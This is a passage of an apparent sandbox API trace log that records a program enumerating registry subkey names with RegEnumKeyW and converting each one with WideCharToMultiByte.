lpUsedDefaultChar=0x0) returned 10 [0253.739] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0xffb930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0xffc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0253.739] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0xffb930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xffc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0253.739] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0xffb930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0xffc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0253.740] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0xffb930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0xffc0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0253.740] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0xffb930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0xffc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0253.740] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0xffb930, cchName=0x104 | out: lpName="Network") returned 0x0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xffc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0253.740] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0xffb930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0xffc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0253.740] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0xffb930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0xffc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0253.740] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0xffb930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0253.740] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0xffb930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0xffc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0253.741] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0xffb930, cchName=0x104 | out: lpName="Office") returned 0x0 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xffc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0253.741] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0xffb930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0xffc0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0253.741] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0xffb930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0253.741] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0xffb930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0xffc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0253.741] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0xffb930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0253.741] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0xffb930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0xffc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0253.742] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0xffb930, cchName=0x104 | out: lpName="Print") returned 0x0 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0xffc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0253.742] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0xffb930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0xffc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0253.742] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0xffb930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0253.742] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0xffb930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xffc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0253.742] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0xffb930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0xffc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0253.742] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0xffb930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0xffc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0253.742] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0xffb930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0253.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0xffc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0253.743] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0xffb930, cchName=0x104 | out: lpName="Router") returned 0x0 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0xffc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0253.743] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0xffb930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0253.743] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0xffb930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0xffc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0253.743] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0xffb930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0xffc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0253.743] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0xffb930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0xffc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0253.743] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0xffb930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0253.743] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0xffb930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xffc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0253.744] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0xffb930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xffc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0253.744] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0xffb930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0xffc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0253.744] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0xffb930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xffc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0253.744] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0xffb930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0xffc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0253.744] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0xffb930, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xffc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.744] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0xffb930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0253.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xffc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0253.745] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0xffb930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xffc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0253.745] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0xffb930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0xffc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0253.745] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0xffb930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0253.745] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0xffb930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 